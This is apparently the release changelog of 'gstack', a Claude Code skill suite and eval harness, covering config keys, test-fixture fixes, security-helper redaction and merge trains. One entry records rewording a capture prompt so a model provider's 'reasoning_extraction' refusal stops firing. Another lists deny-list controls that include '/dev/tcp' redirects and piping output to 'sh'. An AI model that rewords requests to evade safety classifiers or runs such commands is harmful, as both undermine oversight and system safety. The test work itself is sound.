[1.91.158.0] - 2026-10-19

gstack-config set plan_mode_preamble off leaves the plan-mode preamble out of every installed skill, for people who never use plan mode. The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" sections add about 1.6 KB to each of 50 Claude skills. With the key off, the next ./setup renders every host's skills with gen-skill-docs --plan-mode=off, and the default Claude install serves that render instead of the committed files. The default is on, and with it on every render and the committed SKILL.md files are byte-for-byte unchanged.

Added

gen-skill-docs --plan-mode=off drops the two sections at generation time. Commands marked "PLAN MODE EXCEPTION — ALWAYS RUN" keep their marker. Hosts whose capabilities declare no plan mode already render the sections empty, so in practice the flag matters for Claude, Copilot and OpenCode. Fixes #3168. From #3213 by @xingzihai, finished with the config wiring.

The plan_mode_preamble config key (on | off, default on). It is a closed domain like explain_level: an unknown value warns and stores on. Setting it outside ./setup says it applies on the next setup run and prints the ./setup --refresh-registered command that applies it now.

Every installed render carries the choice: all 16 gen:skill-docs call sites in setup, the Claude render helper, gstack-config gbrain-refresh, and the router that gstack-relink re-renders in place (as it already does for disabled_skills). When setup has to build, scripts/build.sh renders Factory, OpenCode, Cursor, Copilot and Antigravity without the flag, so with the key off setup renders those hosts again afterwards.

The default Claude install gets a render when the key is off. Without a working gbrain (absent, or the detector failed), gstack_claude_render_action returns plain instead of serving the committed files; with gbrain the brain-aware render already runs and now carries the flag too. The activation record (~/.gstack/render/claude.overlay) gains plan_mode=off. Turning the key back on removes that render on the next setup when gbrain is absent or its detector fails (a failed detector otherwise keeps a render), and re-renders the brain-aware render with the sections when gbrain is present. A failed render with the key off keeps the previous render. Records written with the key on are unchanged.

Fixed

gstack-relink refreshes the _gstack-command router alias after it re-renders the router. It used to copy the router before the re-render, so the alias kept the previous router (with disabled_skills, the full skill list) until the next relink.

Changed

Gate integrity: new tests test/plan-mode-off-build.test.ts (from #3213, unchanged), test/plan-mode-off-generation.test.ts, test/plan-mode-preamble-config.test.ts, test/plan-mode-preamble-render.test.ts and test/plan-mode-preamble-setup.test.ts. No existing test was edited, and no threshold, trial count, case kind or judge changed.

[1.91.157.0] - 2026-10-19

Claude SKILL.md files no longer carry a "When to invoke" body section, which saves about 20 KB across 56 skills. Claude Code reads a skill's body only after the skill is invoked, so routing prose there never routed anything. Routing still comes from the catalog description and the CLAUDE.md routing block, and voice triggers move into the root router's routing block. From #3129 by @thanhnguyentung95.

Changed

Catalog trim (scripts/gen-skill-docs.ts): the Claude render keeps the one-line catalog description and no longer inserts the routing and voice-trigger prose into the body. --catalog-mode=full and the other hosts are unchanged: they keep the full description.

Voice triggers in the root router: a new {{VOICE_TRIGGER_ROUTING}} resolver (scripts/resolvers/voice-triggers.ts) adds one - Voice trigger "…" → invoke /<skill> line per skill to the root SKILL.md routing block, Claude only. That's 21 lines, and the root router's eager ceiling rises from 4289 to 4821 tokens.

Context budget: 54 per-skill eager ceilings go down (net −5,139 tokens). The claude/design-review size pin drops by 437 chars, and the claude ship golden is refreshed.

Gate integrity: the tests that pinned the removed section now assert its absence, or check the template description instead:

test/catalog-trim.test.ts (the three buildWhenToInvokeSection tests go with the function);

test/catalog-mode-full.test.ts and test/cso-preserved.test.ts;

test/gen-skill-docs.test.ts (the benchmark routing and CSO voice tests read the template);

test/skill-validation.test.ts (trigger and proactive phrases are checked in SKILL.md.tmpl);

test/helpers/parity-harness.ts (no ## When to invoke heading required);

test/helpers/skill-fixture.ts and test/skill-e2e-retro.test.ts (the section is dropped from the review, review-army and retro E2E section lists). scripts/harness-version.json records the skill-fixture.ts change as non-behavioral: HARNESS_VERSION stays 6, and the regenerated SKILL.md bytes already start those cases' new series.

test/helpers/manual-judge-review-fixture.ts puts the removed section back when it rebuilds the historical cookie-workflow approval, so the approved prompt hash and line range still match. The approval itself is unchanged.

One new free test checks that the root router routes every voice trigger, and it skips the connect-chrome alias symlink. No threshold, trial count, case kind or judge changed. No context-budget ceiling rose except the root router's.

[1.91.156.0] - 2026-10-19

The weekly marathon's office-hours case can run its review formatter again, and its validator now checks cap fixes the way the formatter does. Both defects came from #3164 and were in the test, not the skill. The marathon fixture copied bin/gstack-office-hours-review with a hand-kept list of two library files; #3164 added a third import (lib/spec-review-cap.ts), so every formatter command in the fixture failed at module load, the agent correctly declared the review UNREVIEWED, and the case went red in marathon run 39032308051 (#3246). With the module restored, a focused rerun showed the second defect: when the review stops at the round cap and the agent applies the remaining blocking fixes with --fixes, the formatter records them as verified, but the test never gave the validator that list, so it expected "fixes unconfirmed" and rejected a correct report.

Fixed

Office-hours cap fixes: observedSpecFixes() in test/helpers/office-hours-completion.ts returns the last valid --fixes list the agent saved with Write, and the marathon test passes it to validateOfficeHoursReviewArtifacts. A free test in test/office-hours-completion.test.ts runs the real finalize --fixes at the cap and checks three cases: the observed list validates, no list fails with the marathon rerun's Spec Review does not match error, and a list naming a different finding also fails.

Office-hours marathon fixture: test/helpers/office-hours-formatter-fixture.ts copies the formatter together with every local module it imports, so a new import can no longer be left out. A free test in test/office-hours-review.test.ts loads the copied formatter and fails on a missing module; the old three-file list reproduces the exact Cannot find module '../lib/spec-review-cap.ts' error. The case's touchfiles now include lib/spec-review-cap.ts and the new helper.

Gate integrity: no threshold, trial count, case kind or judge changed. The marathon assertions are unchanged; only the fixture's file copy changed.

[1.91.155.0] - 2026-10-19

A busy page no longer locks up the browse daemon. When one tab kept its main thread busy (a heavy dev bundle, a big grid render, a runaway script), every browse command, including status, tabs, tab <id>, closetab and stop, failed with "Daemon busy" after about 9.6 s, and the only way out was --force-restart, which threw away cookies, tabs and logins. Fixes #3247. From #3250 by @AndreIntelas.

Fixed

/health status reports daemon liveness (Chromium connected), and the active tab's responsiveness is reported separately as activeTab: {id, responsive}. The CLI no longer gates every command on a 2 s page.evaluate race against the active tab.

tabs and state save bound their per-tab reads, so a stuck tab shows as (not responding) instead of hanging the command, and one pending probe is shared per stuck tab rather than one per poll. A busy tab keeps its last good storage in saved state.

A command that really needs the stuck tab times out with an error naming that tab and how to get out (switch tabs or close it). The CLI's timeout branch now matches Bun's TimeoutError; the old AbortError check never fired.

Changed

Gate integrity: browse/test/terminal-agent.test.ts adds activeTab to the exact /health keys and updates its stub for the now-synchronous isHealthy and the new probeActiveTab; its no-token assertions are unchanged. browse/test/busy-active-tab.test.ts and browse/test/command-timeout-report.test.ts are new. No threshold, trial count or case kind changed.

[1.91.154.0] - 2026-10-19

/cso can verify Rails repairs in a read-only checkout, its retained Git history no longer brings back credential files the snapshot leaves out, a repair whose external assertions fail is now reported as ASSERTION_FAILED instead of a misleading INCOMPATIBLE_INPUT, and a security assertion can accept several safe rejection statuses while still requiring the secret to be absent. The helper keeps .env, master.key, keys and agent configuration out of the readable tree, but history.txt captured git log -p in full, so a committed .env came back through its diff whenever the value wasn't credential-shaped enough for the redactor. Paid qualification run 39186328569 caught this when the private corpus's planted .env value showed up in the judge's helper state.

Fixed

Rails verify on read-only sources: the helper writes its own test config/database.yml (plus an initializer and storage.yml) into the execution copy. The copy keeps the source's file modes, so in a read-only checkout (the eval producer seals every source file at 0444, and Nix or Bazel trees are the same) the write failed with EACCES. That surfaced as the generic INVALID_SCHEMA "unexpected or unsafe input", and no Rails repair could reach runtime_tested. Each helper file now replaces the copied file instead of opening it for writing, so it also never writes through a copied symlink.

history.txt: every diff section that touches a path the snapshot excludes (exclusion(), the same rule the readable tree uses) is replaced with diff withheld: <path> (<reason>). This covers either side of a rename and any diff header that can't be parsed. Commit preambles and other files' diffs stay.

verify with an authenticated witness: a receipt or observation mismatch is still INCOMPATIBLE_INPUT. Receipts that bind correctly but record failed external assertions now raise ASSERTION_FAILED, with the phase and the booted, legitimate and security outcome. Nothing new is certified either way. In run 39186328569, three repairs that rejected the attack with a different status than the oracle expected surfaced as INCOMPATIBLE_INPUT.

Changed

A security assertion's expected.status may list up to eight safe statuses (for example [403, 404]), so a repair that refuses an attack with a different reasonable rejection still passes. A set is accepted only on a security assertion that also carries a vulnerable expectation, and only with excludes set, so the response must still withhold the vulnerable marker. The fixed and vulnerable oracles must stay provably mutually exclusive: a set that contains the vulnerable status is accepted only when the vulnerable response's includes contains the excluded marker. Legitimate controls and vulnerable expectations still take exactly one status, so a patch that answers every route with 403 still fails its controls. A no-op patch, a listed rejection that still leaks the marker, and an unlisted status all stay inconclusive.

[1.91.153.0] - 2026-10-19

An outside review whose findings are untagged prose no longer reads clean because a "no issues" phrase appears somewhere in it, and a clean Codex review that says "no actionable regressions" no longer reads unverified. Reported in #3294 by @SchizasNik, with the false-pass half pointed out by @xg-gh-25. lib/outside-review-result.ts matched its no-findings vocabulary anywhere in the reply, so "The parser change has no new issues. However, … drops users_email_idx" passed /ship's structured gate. It also lacked regressions, so codex review --uncommitted's "I found no actionable regressions in the staged, unstaged, or untracked changes." was missing coverage.

Fixed

A no-findings statement counts only as the review's conclusion. It must open the reply's last sentence or last ", and" clause (or the because clause of a review's Recommendation: line) and carry no contrast or exception ("but", "however", "except", "other than", "elsewhere"). When other prose comes first, anything after the statement other than a predicate ("were found", "is evident") or a colon explanation must scope it to the change as a whole, so "No issues in the parser." and "No regressions were found by the existing tests." do not conclude the review. Anything else stays unverified / untagged_review, the same reason code and troubleshooting anchor as before.

regressions and defects join the vocabulary, and NO_FINDINGS written as inline code still counts.

Gate integrity

The structured and review gates' no-findings check (classifyOutsideReview) is stricter about position and wider in vocabulary. New free regressions in test/outside-review-result.test.ts cover the reporter's exact reply through their CLI invocation, two clean codex review --uncommitted replies captured from codex-cli 0.160.0 with gpt-6-sol (both read unverified before), fifteen mixed replies that must stay unverified under both gates (the two strings from the issue, the phrase before, after and inside untagged findings, exception conclusions, conclusions scoped to one place or to the tests, a quoted NO_FINDINGS, a no-issues line inside a code fence), and Recommendation-clause cases including a wrapped clause with "but". A GPT-6.1 Sol outside review probed the classifier; its false passes are among those controls. A known residual, unchanged from before: untagged findings followed by "No issues found in the changed parser." still read clean, because "changed" names the change and the parser cannot tell a finding from a summary without tags. All four new tests fail on the previous classifier. Every existing negative control passes unchanged, including the stored Codex clean review that still reads unverified ("no actionable correctness issues"). No threshold, trial count or case kind changed.

[1.91.152.0] - 2026-10-19

/cso now starts and finishes on ordinary repositories that hold a nested Git repository, a long patch history, or a Docker socket on macOS 27. Three user reports (#3255, #3248) each stopped a run on a normal repo.

Fixed

An untracked nested Git repository or a registered submodule no longer stops gstack-cso start with UNSAFE_PATH. Git lists such a directory as one entry (inner/ for an untracked repo, sub for a gitlink). The snapshot now records it as one explicit excluded: nested Git repository entry that is never read or copied, and the snapshot coverage lists it under exclusions. The capture pins the boundary's device, inode and mode, so a directory swapped in during capture fails as SNAPSHOT_RACE. A symlink to a directory is still refused. Ported from #3256 by Chao Chen (@surlymochan), who keeps authorship of the fix. (#3255, bug 1)

A patch history over 1 MiB no longer leaves history-inputs not assessed. The helper reads up to 100 commits of patches, then keeps the newest whole commits that fit the 1 MiB redaction bound. It never cuts inside a commit, so a secret can't be split across the cut and escape redaction. When even the newest patch is too large, it keeps commit metadata only. A truncated history.txt starts with a [gstack-cso history truncated: …] line, history-status.json records truncated and the retained commit count, and the history coverage becomes partial with that gap. The redaction bound is unchanged. (#3255, bug 2)

For contributors

test/cso-ordinary-repos.test.ts covers each report end to end through the compiled launcher and capture(). Its negative controls show that a symlinked directory is still refused, that a nested repository swapped during capture fails as a race (this check fails if the device and inode comparison is removed), that retained and omitted history never shows a credential canary, and that Docker endpoint admission still refuses non-sockets, dangling and looping links, .. paths and TCP. The #3248 socket fallback (realpathSocket) shipped in 1.91.96.0. The new endpoint-level case fails when admission calls plain realpathSync.

[1.91.151.0] - 2026-10-19

Three contributor fixes: a saved "never ask" now sticks for /plan-eng-review's structure question, /context-save and /context-restore close three checkpoint gaps, and a new how-to covers the first production deploy. Ported from fork PRs so they can run the paid gate; each commit keeps its author.

Fixed

/plan-eng-review's complexity-gate structure question has a registered id (plan-eng-review-structure). Each run used to invent its own slug, so a never-ask saved through /plan-tune never matched the next run and the question came back every time. On AUTO_DECIDE the recommended arrangement is taken; feature cuts are still asked one by one. gstack-question-preference --check now also falls back to $GSTACK_HOME/global-question-preferences.json (the file the question-preference hook already reads) when the project file has no entry; a project entry still wins and the one-way-door and split-chain guards run first. From #3249 by @bezdekt.

/context-save keeps provenance markers as English literals and backs file claims in Decisions Made; /context-restore treats a translated or unknown marker as (path assumed) and asks when no branch can pick between recent checkpoints with different titles. Fixes #3217. From #3244 by @surlymochan.

Added

docs/howto-bring-up-a-first-deploy.md: a vendor-neutral walkthrough for when /setup-deploy stops at "Nothing is deployed yet" (host, services, env and secrets, DNS, verification, and what to have ready when you rerun /setup-deploy). Linked from the README and docs/skills.md. Fixes #3150. From #3264 by @szsunyuan.

[1.91.150.0] - 2026-10-19

The paid evals that still pinned older models now run on the current generation, and two cases that went red on the move are repaired at their cause. Garry's direction (2026-10-18) is to stop testing older frontier models, so these files are re-baselined as a fresh measured reference rather than held to a threshold change.

Changed

Old-model pins: the claude-opus-4-7 pins in skill-e2e-plan, skill-e2e-plan-prosons, skill-e2e-design, skill-e2e-office-hours-phase4 and skill-e2e-qa-bugs now follow resolveEvalModel('capture') (Opus 5.5). The overlay benchmark fixtures pin claude-opus-5-5 and claude-sonnet-5-5, the cookie workflow judge pins claude-sonnet-5-5, and codex-sol-scope-termination runs on gpt-6.1-sol while still rendering the gpt-5.6-sol overlay.

/setup-browser-cookies: the workflow is now five ordered steps. It checks for Aside first and ends there on READY, since no import is needed. It then asks every decision (source and profile, domains and target, verification, storage reset, all cookies) before any $B command, prepares gstack's browser (verification variables before the daemon starts, the fallback, the Mode: cdp stop), imports, and reports on three lines: Imported, Storage reset, Sign-in. The {{BROWSE_SETUP}} block, which contradicted the Aside probe, is gone from this skill.

Gate integrity: no threshold, trial count, case kind or assertion changed. Free-test edits follow the new cookie template: two phrase and order assertions, the approval fixture's reverse edits, and the positional-literals checksum list, which no longer includes this skill.

Fixed

plan-review-prosons-hardstop-neg: on Opus 5.5 one trial in three stopped with a provider refusal (stop_reason: refusal, category reasoning_extraction) on the turn that writes the captured question. Replays of the refused request were stopped 7 of 16 times with the capture prompt's "verbatim" and "Do NOT paraphrase. This is a format-capture test." wording and 0 of 24 without it. The shared prosons capture prompt now asks for "the text of the single AskUserQuestion you would have made", with the same required parts. The decision content and every assertion are unchanged; all four prosons cases pass 3/3.

Cookie workflow judge: on claude-sonnet-5-5 it scored clarity 3, completeness 4, actionability 3 against the old template. The rewritten template scores 4/4/4 with unchanged thresholds.

[1.91.149.0] - 2026-10-19

Paid eval cases can now run on the Codex host, and the Monday census runs two arms: Claude Opus 5.5 and Codex gpt-6.1-sol. EVALS_HOST=codex runs the 52 adapter-only gate cases through a full Codex runtime per case. On its first pilot gpt-6.1-sol passed 48 of 52 with no retries, at $4.63 for the 52 cases, against $28.93 for the same cases on Fable (0.16×). Claude-only cases are skipped on Codex with a recorded reason and never count as failed. GSTA-49 TM2.

Added

Codex host adapter: test/helpers/e2e-hosts.ts holds the EVALS_HOST switch (claude default, codex) and the per-case host metadata. test/helpers/codex-host-runner.ts adds:

the case runner, with sandbox settings and a reasoning effort (the model default unless set);

file-change event mapping;

a transcript translated into the Claude stream-json shape that existing assertions read;

the native-lifecycle hooks.

The 26 rework cases stay Claude-only.

Census arms (scripts/census-arms.ts): evals-periodic.yml gets two census schedules.

Monday: a two-arm gate census, claude-opus and codex-sol.

Monthly (0 6 1 * *): census jobs only, with claude-fable (claude-fable-5-1) and codex-astra (gpt-6-astra) arms and a -monthly concurrency key.

A census_arms dispatch input picks arms by hand. Artifact names and run IDs carry the arm, and a census-only run executes no periodic slice. Every arm keeps the census's --skip-judges.

Changed

Codex cost is real: cost_known: false is gone. Codex sessions price their turn.completed usage (input, cached input, cache-write input and output tokens) through lib/pricing.ts. The shared execCodex keeps the old runner's events and verdicts.

Plans, reports and the ledger carry the host when it is not Claude. On Codex, the Anthropic preflight skips its claude -p ping.

Gate integrity: no threshold, trial count, case kind, judge or Claude-host verdict changed. HARNESS_VERSION stays 6, and the changed harness files are recorded as non-behavioral. Five workflow tests now assert the census matrix per arm (one row per arm and slice, per-arm plan and report paths, a periodic_lane guard) in place of the single-arm shape; no assertion was dropped.

If you…

…want one case on Codex: EVALS_HOST=codex GSTACK_CODEX_MODEL=gpt-6.1-sol bun run scripts/test-paid-shards.ts --tier gate --case <id> --trials 1.

…want the monthly arms now: dispatch evals-periodic.yml with census_arms=claude-fable,codex-astra.

[1.91.148.0] - 2026-10-19

Weekly seed PRs now get the credential scan as well as the free suites. A pull request the recorder opens with the workflow token never starts its own pull_request checks. GitHub holds them as "action required". So the recorder dispatches its checks on the bot branch instead.

Changed

free-durations-record.yml also dispatches Quality gate on bot/free-duration-seeds, next to Free Tests (the required free-tests check) and Windows Free Tests.

The seed PR body says the dispatched runs are its checks and explains why its pull_request runs wait for approval.

[1.91.147.0] - 2026-10-19

The free-suite duration seeds are current again. This is the first refresh from the weekly recorder. It adds 14 Linux and 6 Windows test files that the shard packers had been placing at the 99th-percentile estimate.

Changed

Seed allowlist: test/brain-sync.test.ts (89 s) and test/setup-codex-scope.test.ts (64 s) are allowlisted with the existing split todo. test/host-renders-prune.test.ts (now 57 s) leaves the allowlist.

Editing the seed allowlist no longer selects paid evals. Only the free seed ratchet reads scripts/free-test-seed-allowlist.json, but an edit to it used to pull in all 246 dependent gate cases. It is now classified free-only, like the two seeds.

[1.91.146.0] - 2026-10-19

gstack-ship-queue can run merge trains: several READY PRs share one full gate, merge one by one only while main's tree matches the prefix that gate tested, and a red train is bisected on its red cases alone. The surface is off unless the base revision's .gstack/ship-policy.json declares a train block. Without one, ready --pr <n> prints exactly the block it prints today. gstack's own policy does not turn trains on yet: that waits for the workflow side (the train-nonce record, the cases and prefix_shas inputs and the dispatched screen) and one dry-run train. Walkthrough: docs/ship-policy.md#run-a-merge-train. Plan GSTA-49, lane T1.

Added

train build --prs <n>@<sha>,… merges the pinned, unstamped heads in slot order onto main inside object storage (version files take the prefix's side, the CHANGELOG merges by section) and records every prefix tree T0..Tk. Screened PRs go first in READY order. When max_size or more unscreened PRs wait, they form their own train. A train below max_size waits up to fill_hours for its oldest READY, unless --urgent. It writes train.json before pushing train/<nonce>, requires a green free_workflow run on that exact SHA, then dispatches one full gate through eval-bg's nonce. --dry-run writes, pushes and dispatches nothing. Fork heads, moved heads, PRs without a READY receipt and conflicts are refused before any spend; a conflict line names the build without that PR.

train status never spends. It rebuilds local records from refs/notes/gstack-trains, where every train, attempt, READY receipt and freeze is mirrored before any remote effect. It reconciles an unconfirmed dispatch by nonce, and only a dispatch it finds absent is sent again, under the same nonce. train verdict is GREEN only for a complete census bound to the train's nonce, head and tree, with the full_gate_check check run published. INFRA/INCOMPLETE panels, unbound, partial or cancelled shards, slices killed before upload and missing records are never green.

train bisect --spend-cap <usd> runs only the red cases on every prefix, after an ancestry check against train/<nonce>. It reserves every case×prefix trial, launches what fits the cap and resumes without repeating a prefix. ATTRIBUTED #<pr> is reported only for a monotone pattern, and red on every prefix with T0 included is red on main. An all-green bisect earns exactly one unchanged train rebuild, with both runs reported. An INFRA/INCOMPLETE-only census earns the single re-dispatch EVAL_POLICY.infraRedispatch allows (--infra). A second red stays red.

verify --pr <n> --train <nonce> prints MERGE_CONDITION only when main's tree equals the prefix before the PR modulo stamps and the PR is still at its pin, and confirms each merge against the prefix after it. When a train stops partway after earlier slots merged, the queue freezes. The freeze is recorded locally and on the notes ref first, then the backstop gate runs on main's SHA. One train build --repair PR is admitted, and verify clears the freeze when it lands.

ready --screen [--broad] | --no-screen under a train policy. Without a choice, ready prints the screen selection and recommendation, then refuses. --screen dispatches one screen on the PR's merge SHA with screen_pr, screen_merge_sha and screen_policy. Dollar figures arrive with the cost replay. train prune deletes the branches of merged, superseded and dropped trains.

The train policy key (introduced in 1.91.146.0; needs min_gstack_version) and 18 result codes with troubleshooting anchors: QUEUE_TRAIN_* and READY_SCREEN_CHOICE_REQUIRED.

Changed

eval-bg's nonce key can carry a purpose (screen, train, bisect, backstop) and a screen policy, so a broad screen never adopts a narrow run and a train never adopts a bisect. Plain lane keys are unchanged. Every dispatch input name now lives in DISPATCH_INPUTS.

Gate integrity: test/ship-policy-compat.test.ts now reads the newest version in POLICY_KEY_INTRODUCED instead of hard-coding the ship-queue keys' version, so each new key doesn't need another edit. It is exactly as strict: an unknown key is still POLICY_INVALID, naming the newest version this gstack reads. The rebuild-once count is defined in the train module (REBUILD_ONCE = 1) until EVAL_POLICY records it. No threshold, trial count or case kind changed.

If you…

…coordinate a queue: add a train block with min_gstack_version on the base branch only after every lane runs this gstack. Remove it to return every lane to the per-PR queue at once.

[1.91.145.0] - 2026-10-19

The qa-only deadline fixture accepts pure local reads, so qa-only-no-fix no longer fails when the agent checks a skill file with wc -l …; ls …. Opus 5.5's first Bash call in TM1's focused qa-only-no-fix run at e03bfeb was wc -l qa-only/SKILL.md; ls qa-only qa-only/sections qa/sections qa/templates. The fixture's narrow list rejected it with QA deadline: unsupported outer shell composition, though it only read inside the fixture. The fixture now opts into the shared read-only grammar from 1.91.143.0, as the docs-sync fixture did. A focused Opus run with the opt-in then failed on one more read, ls; ls qa/templates; cat TODOS.md 2>/dev/null | head -20, so the grammar now also lets a read discard or merge its stderr. PR #3272's Opus gate (run 39217387697) then failed the case after the agent stopped the browser inside the guard with "$B" stop, which the checkpoint rule counted as a third probe. This PR's own gate (run 39223031058) failed ship-docsync-current after Opus called the docs candidate helper at a path that does not exist, got exit 127, and reran the same command at the declared path.

Changed

test/helpers/qa-browser-deadline-evidence.ts: the deadline check also accepts any command the shared grammar allows inside the fixture directory, and the fixture prompt declares the grammar instead of "no other ls, wc, cat or find Bash calls". Receipts are still trusted only from the guard: a grammar read whose output has a line starting with QA_DEADLINE fails as receipt outside trusted guard invocation. A grammar read of skill prose that only mentions QA_DEADLINE receipts mid-line passes, just as the same file read with Read does; the second focused Opus run tripped on cat qa-only/sections/exploratory.md. The fixture's existing allowed commands keep the stricter any-occurrence check.

Gate integrity, widening: pure reads inside the fixture root, such as listing qa/sections or ls -laR of the screenshots directory, now pass where they used to fail. A free replay runs the captured slip inside a real guarded attempt. Reads that leave the root (…/../../.., /etc), joins with a non-read tool, redirects, | tee, awk and sed -i still fail. No threshold, kind, trial or behavior assertion changes. The qa-quick, qa-only-no-fix, qa-fix-loop and qa-bootstrap touchfiles add test/helpers/read-only-commands.ts.

Gate integrity, widening (shared grammar, GStack Minder-approved): a read may end with exactly 2>/dev/null or 2>&1. Both fixtures that use the grammar accept it: qa-only and docs-sync. Every other redirect still fails, each with its own negative control: 2> to a file, 2> /dev/null with a space, > and >> on stdout, &>, 1>/dev/null, 3>/dev/null, >& and 2>& to a file, 2>&2, 2>/dev/tcp/…, a leading 2>/dev/null, a quoted '2'>, and | tee. The main control ls docs 2>/dev/null became ls docs 2>docs/err.txt. Two existing docs-sync controls only failed because of their stderr redirect, and each got a replacement that still fails: ls 2>&1 | head became ls 2>&1 | sh. The stored miss cat {other}/bash-placeholder 2>/dev/null; cat {home}/state/config.yaml moved to known_good_posix, and its 2> to a file and 1>/dev/null variants stay known_bad. The docs-sync prompt carries the updated grammar text, so the next PR gate selects the docs-sync cases.

Gate integrity, widening (checkpoint rule): a guarded child that is exactly "$B" stop, $B stop or <browse> stop now counts as browser cleanup, the same as closetab. Cleanup needs no checkpoint and may come only after the last probe. The fixture prompt names both cleanup commands. A free replay of the three guarded calls captured in run 39217387697 (two probes with one checkpoint, then stop) passes, and fails on the previous rule with follow-up lacks one acknowledged preceding checkpoint. These still fail: stop before a probe (browser cleanup preceded a probe), a probe disguised as cleanup ("$B" goto …; "$B" stop), stop --all, and stop outside the guard (direct, or through a shell variable). The replay fixture test/fixtures/qa-only-stop-cleanup-public.json is registered in the qa-only-no-fix touchfiles, next to the existing observation fixture.

Gate integrity, widening (docs-sync observer, GStack Minder-approved): only executed candidate calls count. The observer ignores a gstack-docs-candidate call outside the declared path only when all of these hold: the binary is an absolute literal path that does not exist, the recorded result is exactly Exit code 127 with the shell's no such file or directory: <that path>, and a later call runs the same command at the declared path without failing. A free replay of all 43 tool calls captured in run 39223031058 passes, and fails on the previous observer. These still fail: a wrong-path binary that exists (whether it runs or claims 127), any other exit code or shell message, a 127 with no later declared-path run (or one that comes before, fails, or changes the arguments), and a non-candidate or relative binary. No threshold, kind, trial or behavior assertion changes. The replay fixture test/fixtures/docsync-candidate-not-found-public.json is registered in the ship-docsync-current touchfiles.

[1.91.144.0] - 2026-10-18

The paid PR gate now tests Claude Opus 5.5 instead of Fable 5.1. Its first full Opus gate went 132/132 green and recorded $32.33, against Fable's $93.16 mean over ten full gates. Garry's direction (2026-10-18) is to test each lab's best code model. Calibration run 39157502890 passed all 108 rule cases and 24 judges on one attempt each, with no reused receipts, on the same case set every Fable gate passed. Opus 5.5 sessions cost $30.86 (Fable: $90.49), judges $1.44 and Haiku side calls $0.08; with the unrecorded PTY sessions estimated, the full-gate scale is $37.13 against $106.17. Output tokens fell 37% (thinking 69%) and session time from 11,859 s to 6,159 s. The Claude CLI runs Opus 5.5 at medium effort by default and Fable at high.

Changed

Model under test: CLAUDE_CAPTURE_EVAL_MODEL in lib/eval-model.ts (renamed from CLAUDE_FRONTIER_EVAL_MODEL; Opus 5.5 is the catalog's smart tier, not its frontier) is claude-opus-5-5. Every claude -p, PTY and Agent SDK eval runner passes it as --model unless a test names a model or EVALS_MODEL is set.

The judge stays Fable 5.1. The new CLAUDE_JUDGE_EVAL_MODEL (claude-fable-5-1) is the judge default, the arm benchmark's judge and the judge calibration configs' model, because the calibration fixtures are keyed to it. The claude-fable-5-* → fable-5 overlay routing now holds while the judge is a Fable 5 release.

plan-review-report drops its claude-opus-4-7 pin and follows the capture default; it was the only PR-gate case on Opus 4.7. The periodic Opus 4.7 files keep their pins (TODOS).

A new pass-rate series: HARNESS_VERSION 5 → 6 (which also covers the floor runner change below), so no Fable trial pools with an Opus one, and shard-reuse receipts already key on lib/eval-model.ts. Warmup and distill stay on Haiku.

Gate integrity: no threshold, trial count, case kind or judge changed. The detector and prompt edits are listed under Fixed. Eight floor tests that expected timeout for a permission dialog nobody answered now expect the named failure permission_unanswered. Other test edits update asserted model IDs and their prices, plus one assertion naming scripts/harness-version.json so pregate maps the manifest to a test lane.

Fixed

The second Opus gate (run 39161502626) went 127/132. Each of the five reds is now replayed from its captured run as a free regression, with negative controls that still fail.

review-coverage-audit: the read detector rejected cd <cwd>; cat -n … && echo ---- && cat -n … and a trailing wc -l <files>. A leading cd to the recorded cwd followed by ; may now precede one uniform && chain, and wc -l accepts literal files inside the cwd. Other separator mixes and outside paths still fail.

shared-libs-unsupported-git: Claude Code 2.1.292's own git --version probe (which starts with core.askPass=) is recognized as that exact argv only. Any added argument, a non-Claude parent or a model command that copies it still fails.

ship-local-hook-preservation: besides "manual", one sentence telling the user to integrate, combine, merge, set up or add the hook "yourself" (or "by hand" addressed to them) now counts as reporting manual integration. Opus said "integrate the hook yourself", "combine … by hand" and "set up … yourself".

tpa-absent-linux (the third gate, run 39166935531): Opus offered "step-by-step instructions to do it yourself" instead of saying "manual". Beside "manual", one sentence offering instructions or steps the user follows themselves now counts as the manual option.

qa-only-no-fix: the fixture prompt now says the 30-second guard starts only after the charter Write has completed, and that local inspection outside the listed calls uses Read/Glob, not ls, wc, cat or find (its own ls -la entries had read as general permission). The budget and the assertion are unchanged.

plan-ceo-finding-floor: Opus saved its D1 decision to the owned working plan before printing any text, as the 0D Save step requires. The permission check identified the parent session only from text or questions, so it never granted that Create and the run timed out after 600 s. A parent with only tool events is now identified by them, still as exactly one session that owns the pending Write. The floor runner also fails within 20 s with PERMISSION_DIALOG_UNANSWERED when a permission dialog gets no owned grant.

plan-ceo-finding-floor, Edit menu (3 of 10 measured trials): after that Create, Opus edited the plan and the cropped Edit menu stayed unanswered. Twice Claude Code showed the menu before publishing the Edit, and once three Edits were pending at once, so the check found no single published Edit. The plan's own PreToolUse input now covers an unpublished Edit, as it already did for Write, and the visible diff must match exactly one pending Edit on the owned plan. An Edit to another file, a diff matching none or several pending Edits, and a foreign session are still refused.

shared-libs-review-index-flags (the fourth gate, run 39173752116): the skip-worktree review read all three evidence files in one for f in <literal paths>; do echo "=== $f"; cat -n "$f"; done loop. A loop over literal paths now counts as reading a file only when its output names that file. A loop over a variable list, a file missing from the output, a path outside the repo and the existing loop with no path in its output are still rejected.

investigate-owned-abort and investigate-owned-ending-error (the slot gate, run 39195396438): both actors asked their one continue/abort question in their own words ("go ahead … or stop now?") with exactly a Continue and an Abort option. The fixture recognized the question only by the words continue, proceed or abort in its text, refused it, then refused the re-ask as a second question. It now identifies the question by its two options' meanings. A second question, a question before the lock is acquired, an option set without an abort choice, three or more options and options whose descriptions contradict their labels are still refused.

plan-design-with-ui-scope (gate run 39199692993): Opus titled its focus question "Review focus: all 7 dimensions or specific areas?" and opened the body with "I rated this plan 5/10 on design completeness". The check required the word "design" in the title, so it missed the acknowledged design focus. An all-7 or focus title now also passes when the body carries the skill's own rating sentence ("I rated this plan N/10 on design completeness"). A focus title with no rating, a rating with no focus choice, a target menu that mentions a design system and a 5/7 dimension count are still refused.

Phrasing sweep (gate integrity): every assertion in the 108 gate rule cases that matches the model's own wording was checked against all seven Opus gates (runs 39157502890 to 39199692993) and the local measurement runs. Eleven, listed below, were narrow. They passed only through a restated option, a quoted tool error or option label, or a single token, so a paraphrase seen in the captures would have failed them, or (the two tightenings) they missed an offer that the captures show. Each is now replayed from those captures as a free test, with controls in which the milestone is absent that still fail. 106 were robust and left unchanged, because they match wording the skill prescribes or several of the model's own phrases match. Six were also left unchanged: four were never exercised by any capture, and two have no captured miss to widen toward.

